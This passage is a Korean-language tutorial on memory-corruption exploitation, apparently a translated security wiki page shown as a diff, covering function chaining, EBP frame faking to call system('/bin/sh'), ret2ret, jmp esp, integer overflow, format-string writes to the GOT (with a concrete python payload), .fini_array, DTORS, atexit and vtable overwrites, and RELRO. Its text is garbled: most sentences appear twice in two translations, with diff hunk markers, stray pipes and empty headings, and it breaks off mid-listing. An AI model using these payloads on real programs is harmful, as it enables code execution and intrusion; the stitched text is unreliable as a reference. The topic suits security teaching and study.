다른 흥미로운 기술은 **mprotect()**를 사용하는 것으로, 이를 통해 메모리의 원하는 부분에 권한을 할당할 수 있습니다. 이 기술은 BDS, MacOS 및 OpenBSD에서 작동하지만 linux에서는 작동하지 않습니다(쓰기 및 실행 권한을 동시에 부여할 수 없도록 제어됨). 이 공격을 사용하면 스택을 다시 실행 가능하게 다시 설정할 수 있습니다.
|
||||
|
||||
**함수 체인**
|
||||
|
||||
이전 기술을 기반으로 한 이 exploit 방법은 다음과 같습니다:\
|
||||
Relleno + \&Function1 + \&pop;ret; + \&arg\_fun1 + \&Function2 + \&pop;ret; + \&arg\_fun2 + ...
|
||||
|
||||
이렇게 하면 호출할 함수를 연결할 수 있습니다. 또한, 여러 인수를 사용하려면 필요한 인수를 넣고 4개의 인수를 넣고 opcodes가 있는 위치를 찾을 수 있습니다: pop, pop, pop, pop, ret —> **objdump -d executable**
|
||||
|
||||
**프레임 falsification을 통한 체인화 (EBP 체인화)**
|
||||
|
||||
EBP를 조작할 수 있는 기능을 활용하여 EBP와 "leave;ret"를 통해 여러 함수의 실행을 연결하는 것입니다.
|
||||
|
||||
RELLENO
|
||||
|
||||
* EBP에 다음을 가리키는 가짜 EBP를 배치합니다: 2번째 가짜 EBP + 실행할 함수: (\&system() + \&leave;ret + &“/bin/sh”)
|
||||
* EIP에는 &(leave;ret) 함수의 주소를 넣습니다.
|
||||
|
||||
셸코드를 다음 셸코드 부분의 주소로 시작하도록 시작하십시오. 예를 들어: 2번째 EBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh”
|
||||
|
||||
2번째 EBP는 다음과 같습니다: 3번째 EBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
|
||||
|
||||
이 셸코드는 메모리의 액세스 가능한 부분에 반복해서 배치하여 작은 메모리 조각으로 쉽게 분할할 수 있습니다.
|
||||
|
||||
(이전 EBP 및 ret2lib의 취약점을 혼합하여 함수 실행을 연결합니다)
|
||||
|
||||
## **5. 보조 메서드**
|
||||
## **5. 보충 기법**
|
||||
|
||||
**Ret2Ret**
|
||||
|
||||
스택의 주소를 EIP에 넣을 수 없거나(0xbf가 포함되지 않는지 확인) 셸코드의 위치를 계산할 수 없을 때 유용합니다. 그러나 취약한 함수가 매개변수를 수용하는 경우(셸코드가 여기에 위치함)입니다.
|
||||
EIP에 스택 주소를 넣을 수 없거나 (EIP에 0xbf가 포함되어 있지 않음을 확인) 또는 shellcode의 위치를 계산할 수 없을 때 유용합니다. 그러나 취약한 함수가 매개변수를 수용하는 경우 (shellcode가 여기에 들어갑니다).
|
||||
|
||||
이렇게 하면 EIP를 **ret** 주소로 변경하여 다음 주소(함수의 첫 번째 인수의 주소)를 로드합니다. 즉, 셸코드가 로드됩니다.
|
||||
이렇게 하면 EIP를 **ret** 주소로 변경하면 다음 주소가로 로드됩니다 (이는 함수의 첫 번째 인수의 주소입니다). 즉, shellcode가 로드됩니다.
|
||||
|
||||
Exploit은 다음과 같습니다: SHELLCODE + 패딩 (EIP까지) + **\&ret** (스택에 매개변수 주소가 들어가므로 스택의 다음 바이트는 shellcode의 시작을 가리킵니다)
|
||||
|
||||
**strncpy**와 같은 함수는 완료되면 쉘코드가 저장된 주소를 스택에서 제거하여 이 기술을 불가능하게 합니다. 즉, 함수에 전달된 주소 (쉘코드를 저장하는 주소)는 0x00으로 수정되어 두 번째 **ret**를 호출할 때 0x00을 만나 프로그램이 종료됩니다.
|
||||
|
||||
exploit은 다음과 같습니다: SHELLCODE + Relleno (EIP까지) + **\&ret** (스택의 다음 바이트는 전달된 매개변수의 주소를 가리키므로 셸코드의 시작 주소가 스택에 입력됩니다)
|
||||
|
||||
**strncpy**와 같은 함수는 완료 후 스택에서 셸코드가 저장된 주소를 제거하여 이 기술을 불가능하게 합니다. 즉, 함수에 전달된 매개변수(셸코드를 저장하는 위치)가 0x00으로 변경되어 두 번째 **ret**를 호출할 때 0x00을 만나 프로그램이 종료됩니다.
|
||||
```
|
||||
**Ret2PopRet**
|
||||
```
|
||||
만약 첫 번째 인자에는 제어권이 없지만 두 번째나 세 번째 인자에는 제어권이 있다면, pop-ret 또는 pop-pop-ret 주소로 EIP를 덮어쓸 수 있습니다.
|
||||
|
||||
**Murat 기법**
|
||||
|
||||
Linux에서 모든 프로그램은 0xbfffffff부터 매핑됩니다.
|
||||
Linux에서 모든 프로그램은 0xbfffffff에서 매핑됩니다.
|
||||
|
||||
새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면, 프로그램이 셸코드만 있는 환경에서 시작되도록 exploit을 개발할 수 있습니다. 따라서 셸코드가 있는 유일한 변수가 있는 환경에서 프로그램이 시작됩니다. 따라서 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
Linux에서 새 프로세스의 스택이 어떻게 구성되는지 살펴보면 프로그램이 쉘코드만 포함된 환경에서 시작되도록 exploit을 개발할 수 있습니다. 따라서 쉘코드가 있는 환경 변수의 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(FULL\_EXECUTABLE\_NAME) - strlen(shellcode)
|
||||
|
||||
이렇게 하면 셸코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
|
||||
이렇게 하면 쉘코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
|
||||
|
||||
이것은 execle 함수가 원하는 환경 변수만을 가진 환경을 생성할 수 있기 때문에 가능합니다.
|
||||
이것은 execle 함수가 원하는 환경 변수만을 가진 환경을 만들 수 있기 때문에 가능합니다.
|
||||
|
||||
**ESP로 이동: Windows 스타일**
|
||||
**Jump to ESP: Windows Style**
|
||||
|
||||
ESP가 항상 스택의 시작을 가리키고 있기 때문에, 이 기술은 EIP를 **jmp esp** 또는 **call esp** 호출로 대체하는 것으로 구성됩니다. 이렇게 하면 EIP를 덮어쓴 후에도 shellcode가 저장되어 있게 되며, **ret**을 실행한 후 ESP는 바로 다음 주소를 가리키게 되어 shellcode가 저장된 곳을 가리키게 됩니다.
|
||||
ESP가 항상 스택의 시작을 가리키고 있기 때문에, 이 기술은 EIP를 **jmp esp** 또는 **call esp** 호출로 대체하는 것으로 구성됩니다. 이렇게 하면 EIP를 덮어쓴 후에도 shellcode가 저장되어 있으며, **ret**를 실행한 후 ESP는 바로 다음 주소를 가리키게 됩니다. 즉, shellcode가 저장된 곳입니다.
|
||||
|
||||
Windows 또는 Linux에서 ASLR이 활성화되어 있지 않은 경우, 공유 객체에 저장된 **jmp esp** 또는 **call esp**를 호출할 수 있습니다. ASLR이 활성화된 경우, 취약한 프로그램 내에서 찾을 수 있습니다.
|
||||
Windows 또는 Linux에서 ASLR이 활성화되어 있지 않은 경우, 공유된 객체에 저장된 **jmp esp** 또는 **call esp**를 호출할 수 있습니다. ASLR이 활성화된 경우, 취약한 프로그램 내에서 찾을 수 있습니다.
|
||||
|
||||
또한, EIP 손상 후에 shellcode를 스택 중간이 아닌 덮어쓸 수 있기 때문에 함수 내에서 실행되는 push 또는 pop 명령이 shellcode에 영향을 미치지 않게 됩니다.
|
||||
또한, 함수의 EIP 손상 후에 shellcode를 배치할 수 있기 때문에, 함수 스택 중간에 놓는 대신 shellcode를 덮어쓸 수 있는 push 또는 pop 명령이 실행되지 않도록 할 수 있습니다.
|
||||
|
||||
이와 매우 유사하게, 함수가 shellcode가 저장된 주소를 반환하는 것을 알고 있다면 **call eax** 또는 **jmp eax (ret2eax)**를 호출할 수 있습니다.
|
||||
이와 매우 유사하게, 함수가 쉘코드가 저장된 위치를 반환하는 경우 **call eax** 또는 **jmp eax (ret2eax)**를 호출할 수 있습니다.
|
||||
|
||||
**정수 오버플로우**
|
||||
|
||||
|
@ -275,86 +180,27 @@ printf("\nIntento de hack\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
이전 예제에서 볼 수 있듯이 프로그램은 2개의 매개변수를 예상합니다. 첫 번째는 다음 문자열의 길이이고, 두 번째는 문자열입니다.
|
||||
이전 예제에서 볼 수 있듯이 프로그램은 2개의 매개변수를 예상합니다. 첫 번째는 다음 문자열의 길이이고 두 번째는 문자열입니다.
|
||||
|
||||
첫 번째 매개변수로 음수를 전달하면 len < 256이라는 메시지가 표시되어 해당 필터를 통과하게 되며, 또한 strlen(buffer)도 l보다 작을 것입니다. 왜냐하면 l은 unsigned int이므로 매우 크기 때문입니다.
|
||||
첫 번째 매개변수로 음수를 전달하면 len < 256이라는 메시지가 표시되어 해당 필터를 통과하게 되며, 또한 strlen(buffer)도 l보다 작을 것이며, l은 unsigned int이므로 매우 크게 될 것입니다.
|
||||
|
||||
이러한 종류의 오버플로우는 프로그램의 프로세스에 무언가를 쓰려는 것이 아니라, 다른 취약점을 악용하기 위해 잘못 설계된 필터를 우회하는 것을 목표로 합니다.
|
||||
이러한 종류의 오버플로우는 프로그램의 프로세스에 무언가를 쓰려는 것이 아니라, 다른 취약점을 악용하기 위해 잘못 설계된 필터를 우회하려는 것입니다.
|
||||
|
||||
**초기화되지 않은 변수**
|
||||
|
||||
초기화되지 않은 변수가 취할 수 있는 값을 알 수 없으며, 이를 관찰하는 것이 흥미로울 수 있습니다. 이전 함수의 변수가 취할 수 있는 값을 취할 수 있으며, 이 변수가 공격자에 의해 제어될 수 있습니다.
|
||||
초기화되지 않은 변수가 취할 수 있는 값은 알 수 없으며, 이를 관찰하는 것이 흥미로울 수 있습니다. 이전 함수의 변수가 취했던 값이 취할 수도 있으며, 이는 공격자가 제어할 수 있습니다.
|
||||
|
||||
## **포맷 문자열**
|
||||
##
|
||||
|
||||
C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 예상하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 예상되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체할 값**입니다.
|
||||
###
|
||||
|
||||
공격자 텍스트가 이 함수의 첫 번째 인수로 들어가면 취약점이 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용하여** 특별한 입력을 만들어 **임의의 주소에 임의의 데이터를 쓸 수 있게** 됩니다. 이렇게 함으로써 **임의의 코드를 실행**할 수 있게 됩니다.
|
||||
###
|
||||
|
||||
포매터:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
%u —> Unsigned
|
||||
%s —> String
|
||||
%n —> Number of written bytes
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**`%n`**은 지정된 주소에 쓰여진 바이트 수를 나타냅니다. 쓰여져야 하는 바이트 수만큼 16진수 숫자를 쓰는 것으로 어떤 데이터든 쓸 수 있습니다.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
|
||||
###
|
||||
|
||||
이 테이블에는 프로그램에서 사용하는 외부 함수의 주소가 포함되어 있습니다.
|
||||
### **.fini\_array**
|
||||
|
||||
다음 명령을 사용하여 이 테이블의 주소를 가져옵니다: `objdump -s -j .got ./exec`
|
||||
|
||||
GEF에서 실행 파일을 로드한 후에는 GEF에서 `gef➤ x/20x 0xDIR_GOT`를 사용하여 GOT에 있는 함수를 볼 수 있습니다.
|
||||
|
||||
GEF를 사용하여 디버깅 세션을 시작하고 `got`을 실행하여 got 테이블을 볼 수 있습니다:
|
||||
|
||||
바이너리에서 GOT에는 함수의 주소 또는 함수 주소를 로드할 PLT 섹션이 포함되어 있습니다. 이 exploit의 목표는 나중에 실행될 함수의 GOT 항목을 `system` 함수의 PLT 주소로 덮어쓰는 것입니다. 이상적으로, 제어할 수 있는 매개변수로 호출될 함수의 GOT를 덮어쓸 것입니다 (따라서 시스템 함수에 전송되는 매개변수를 제어할 수 있게 됩니다).
|
||||
|
||||
스크립트에서 `system`을 사용하지 않는 경우 시스템 함수는 GOT에 항목이 없을 것입니다. 이러한 시나리오에서는 먼저 `system` 함수의 주소를 누출해야 합니다.
|
||||
|
||||
Procedure Linkage Table은 ELF 파일의 읽기 전용 테이블로, 해결이 필요한 모든 심볼을 저장합니다. 이러한 함수 중 하나가 호출되면 GOT가 흐름을 PLT로 리디렉션하여 함수의 주소를 해결하고 GOT에 쓰게 됩니다. 그런 다음 해당 주소로 다음 호출이 수행될 때 함수가 직접 호출되어 해결할 필요가 없게 됩니다.
|
||||
|
||||
PLT 주소는 `objdump -j .plt -d ./vuln_binary`로 볼 수 있습니다.
|
||||
|
||||
### Exploit Flow
|
||||
|
||||
이전에 설명한 대로 목표는 나중에 호출될 함수의 GOT 테이블에서 함수의 주소를 덮어쓰는 것입니다. 이상적으로는 실행 가능한 섹션에 있는 셸코드의 주소로 설정할 수 있지만, 실행 가능한 섹션에 셸코드를 작성할 수 없을 가능성이 높습니다. 따라서 사용자로부터 인수를 받는 함수를 덮어쓰고 그것을 `system` 함수로 지정하는 것이 다른 옵션입니다.
|
||||
|
||||
주소를 쓰기 위해 일반적으로 2단계를 거칩니다: 먼저 주소의 2바이트를 쓰고 나머지 2바이트를 씁니다. 이를 위해 `$hn`이 사용됩니다.
|
||||
|
||||
HOB는 주소의 상위 2바이트를 나타냅니다. LOB는 주소의 하위 2바이트를 나타냅니다.
|
||||
|
||||
따라서 형식 문자열이 작동하는 방식 때문에 먼저 [HOB, LOB] 중 작은 값을 쓰고 다른 값을 써야 합니다.
|
||||
|
||||
만약 HOB < LOB이면\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
만약 HOB > LOB이면\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
|
||||
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
|
||||
|
||||
### Format String Exploit Template
|
||||
|
||||
여기에서 형식 문자열을 사용하여 GOT를 exploit하는 템플릿을 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### .fini_array
|
||||
|
||||
이것은 프로그램이 종료되기 전에 호출될 함수를 포함하는 구조체입니다. 주소로 점프하여 셸코드를 호출할 수 있는 경우나 형식 문자열을 두 번째로 exploit하기 위해 다시 main으로 돌아가야 하는 경우에 흥미로울 수 있습니다.
|
||||
본질적으로 이는 **프로그램이 끝나기 전에 호출될 함수들을 포함하는 구조**입니다. 이는 **주소로 점프하여 쉘코드를 호출**하거나 형식 문자열을 **두 번째로 악용하기 위해 다시 main으로 돌아가야 하는 경우**에 유용합니다.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -365,7 +211,7 @@ Contents of section .fini_array:
|
|||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 메인으로 돌아가면 canary가 감지하고, 스택의 끝이 손상되어 함수가 다시 호출되지 않을 수 있습니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다.
|
||||
이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 메인으로 돌아가면 canary가 감지하여 스택의 끝이 손상되어 함수가 다시 호출되지 않을 수 있습니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다.
|
||||
|
||||
### **콘텐츠 덤프를 위한 형식 문자열**
|
||||
|
||||
|
@ -380,31 +226,31 @@ Contents of section .fini_array:
|
|||
|
||||
![](<../../.gitbook/assets/image (623).png>)
|
||||
|
||||
따라서, **8번째 매개변수에 액세스**하여 플래그를 얻을 수 있습니다:
|
||||
따라서 **8번째 매개변수에 액세스**하여 플래그를 얻을 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
**이전 exploit을 따라가고 콘텐츠를 누출할 수 있다는 것을 깨닫고**, **`printf`**에 **포인터를 설정**하여 **실행 파일이 로드된 섹션**으로 이동하고 **전체적으로 덤프**할 수 있습니다!
|
||||
**이전 exploit을 따라가고 콘텐츠를 누출할 수 있음을 깨달았다면**, **`printf`**에 **포인터를 설정**하여 **실행 파일이 로드된 섹션**으로 이동하여 **전체적으로 덤프**할 수 있습니다!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
{% hint style="danger" %}
|
||||
요즘에는 dtor 섹션을 가진 이진 파일을 찾기가 매우 **이상합니다**.
|
||||
요즘에는 **dtor 섹션을 가진 이진 파일을 찾기가 매우 이상합니다**.
|
||||
{% endhint %}
|
||||
|
||||
소멸자는 프로그램이 **종료되기 전에 실행되는 함수**입니다.\
|
||||
**`__DTOR_END__`**에 **쉘코드의 주소**를 **작성**하면, 해당 프로그램이 종료되기 전에 **실행**됩니다.\
|
||||
소멸자는 프로그램이 종료되기 전에 **실행되는 함수**입니다.\
|
||||
**`__DTOR_END__`**에 **쉘코드의 주소를 쓰는 데 성공**하면, 그것은 프로그램이 끝나기 전에 **실행**될 것입니다.\
|
||||
이 섹션의 주소를 얻으려면:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
일반적으로 **DTOR** 섹션은 값 `ffffffff`와 `00000000` 사이에 있습니다. 따라서 이러한 값만 보인다면, **등록된 함수가 없다는 것**을 의미합니다. 따라서 **`00000000`**을 **쉘코드의 주소로 덮어씌우세요**.
|
||||
보통 **DTOR** 섹션은 `ffffffff`와 `00000000` 값 사이에 있습니다. 그러므로 이 값만 보인다면, **등록된 함수가 없다는 것**을 의미합니다. 따라서 **`00000000`**을 **쉘코드의 주소로 덮어씌우세요**.
|
||||
|
||||
### **포맷 문자열을 이용한 버퍼 오버플로우**
|
||||
|
||||
**sprintf**는 형식화된 문자열을 **변수로 이동**시킵니다. 따라서 문자열의 **형식을 남용**하여 복사된 내용이 있는 변수에서 **버퍼 오버플로우를 유발**할 수 있습니다.\
|
||||
예를 들어, 페이로드 `%.44xAAAA`는 변수에 **44B+"AAAA"를 쓸 것**이며, 이는 버퍼 오버플로우를 일으킬 수 있습니다.
|
||||
**sprintf**는 형식화된 문자열을 **변수에** 이동시킵니다. 따라서 문자열의 **형식을 남용**하여 복사된 내용이 있는 변수에서 **버퍼 오버플로우를 유발**할 수 있습니다.\
|
||||
예를 들어, 페이로드 `%.44xAAAA`는 변수에 **44바이트+"AAAA"를 쓸 것**이며, 이는 버퍼 오버플로우를 일으킬 수 있습니다.
|
||||
|
||||
### **\_\_atexit 구조체**
|
||||
|
||||
|
@ -412,10 +258,10 @@ rabin -s /exec | grep “__DTOR”
|
|||
현재는 이를 **악용하는 것이 매우 이상합니다**.
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`**은 **매개변수로 전달된 다른 함수들**이 **실행**될 때 **실행**되는 함수입니다.\
|
||||
이러한 **함수들**의 **주소** 중 하나를 예를 들어 쉘코드를 가리키도록 **수정**할 수 있다면, **프로세스를 제어**할 수 있지만 현재 이 작업은 더 복잡해졌습니다.\
|
||||
현재 **실행될 함수들의 주소**는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 가리키는 주소는 함수들의 주소가 아니라 **XOR로 암호화**되고 **임의의 키**로 이동됩니다. 따라서 현재 이 공격 벡터는 **적어도 x86** 및 **x64\_86**에서는 **매우 유용하지 않습니다**.\
|
||||
**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 **입력과 동일한 값을 반환**하기 때문에 **암호화 함수를 구현하지 않습니다**. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다.
|
||||
**`atexit()`**은 **매개변수로 전달된 다른 함수들을** 실행합니다. 이러한 **함수들**은 **`exit()`를 실행하거나 main이 반환될 때 실행**됩니다.\
|
||||
예를 들어, 이러한 **함수들** 중 **어떤 것의 주소를 수정**하여 쉘코드를 가리키도록 한다면, **프로세스를 제어**할 수 있지만 현재 이 작업은 더 복잡해졌습니다.\
|
||||
현재 **실행될 함수들의 주소**는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 그 주소는 함수들의 주소가 아니라 **XOR로 암호화되고 무작위 키로 이동**됩니다. 따라서 현재 이 공격 벡터는 **적어도 x86** 및 **x64\_86**에서는 그다지 유용하지 않습니다.\
|
||||
**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 이 **암호화 함수를 구현하지 않습니다**. 따라서 이러한 아키텍처는 이 벡터에 의해 공격당할 수 있습니다.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
|
@ -423,306 +269,126 @@ rabin -s /exec | grep “__DTOR”
|
|||
현재는 이를 **악용하는 것이 매우 이상합니다**.
|
||||
{% endhint %}
|
||||
|
||||
**`Setjmp()`**는 **컨텍스트(레지스터)**를 **저장**할 수 있습니다.\
|
||||
**`longjmp()`**는 **컨텍스트**를 **복원**할 수 있습니다.\
|
||||
**`Setjmp()`**는 **컨텍스트(레지스터)를 저장**할 수 있습니다.\
|
||||
**`longjmp()`**는 **컨텍스트를 복원**할 수 있습니다.\
|
||||
저장된 레지스터는 `EBX, ESI, EDI, ESP, EIP, EBP`입니다.\
|
||||
그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로, **이 공격에 취약한 아키텍처는 위와 동일**합니다.\
|
||||
이것들은 오류 복구나 인터럽트에 유용합니다.\
|
||||
그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않으므로, 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
|
||||
이러한 함수들은 오류 복구나 인터럽트에 유용합니다.\
|
||||
그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
|
||||
|
||||
**VTable y VPTR en C++**
|
||||
**C++에서의 VTable 및 VPTR**
|
||||
|
||||
각 클래스에는 **메서드에 대한 포인터 배열인 V테이블**이 있습니다.
|
||||
각 클래스에는 **메서드에 대한 포인터 배열인 Vtable**이 있습니다.
|
||||
|
||||
각 **클래스**의 객체에는 해당 클래스의 배열을 가리키는 **VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 VPtr을 덮어쓰면 실행 함수가 쉘코드로 이동하도록 수정될 수 있습니다.
|
||||
각 **클래스**의 객체에는 해당 클래스의 배열을 가리키는 **포인터인 VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 VPtr을 덮어쓰면 더미 메서드를 가리키도록 수정하여 함수를 실행하면 쉘코드로 이동할 수 있습니다.
|
||||
|
||||
## **Preventive Measures and Evasions**
|
||||
## **예방 및 회피 조치**
|
||||
|
||||
**Return-into-printf**
|
||||
###
|
||||
|
||||
버퍼 오버플로우를 형식 문자열 오류로 변환하는 기술입니다. EIP를 printf 함수를 가리키도록 대체하여 프로세스 상태에 대한 값을 얻기 위해 조작된 형식 문자열을 전달합니다.
|
||||
**Libsafe 대체**
|
||||
|
||||
**Library Attacks**
|
||||
|
||||
라이브러리는 16비트의 무작위성을 가진 위치에 있습니다. 취약한 서버가 fork()를 호출하면 메모리 주소 공간이 자식 프로세스에 복제되고 그대로 유지됩니다. 따라서 libc의 usleep() 함수에 "16"을 인수로 전달하여 일반적보다 오랜 시간이 걸리면 해당 함수를 찾은 것으로 간주할 수 있습니다. 해당 함수의 위치를 알면 delta_mmap을 얻고 다른 값을 계산할 수 있습니다.
|
||||
|
||||
ASLR이 작동하는지 확실하게 하려면 64비트 아키텍처를 사용해야 합니다. 거기서는 무차별 대입 공격이 없습니다.
|
||||
|
||||
### Relro
|
||||
|
||||
**Relro (Read only Relocation)**는 메모리 권한에 영향을 미치며 NX와 유사합니다. 차이점은 NX가 스택을 실행 가능하게 만드는 반면, RELRO는 **일부 내용을 읽기 전용**으로 만들어 **쓸 수 없게** 합니다. 이것이 장애물이 되는 가장 흔한 방법은 **`got` 테이블 덮어쓰기**를 방지하는 것입니다. `got` 테이블은 바이너리가 libc 함수의 주소를 알고 호출할 수 있도록 주소를 보유합니다. RELRO가 있는 경우와 없는 경우의 `got` 테이블 항목에 대한 메모리 권한이 어떻게 보이는지 살펴봅시다.
|
||||
|
||||
RELRO가 있는 경우:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
### Relro가 없는 경우:
|
||||
|
||||
Relro가 없는 경우, Global Offset Table(GOT)를 이용하여 함수 주소를 얻을 수 있습니다. 이를 통해 함수 호출을 조작하거나 다른 함수로 덮어쓸 수 있습니다.
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
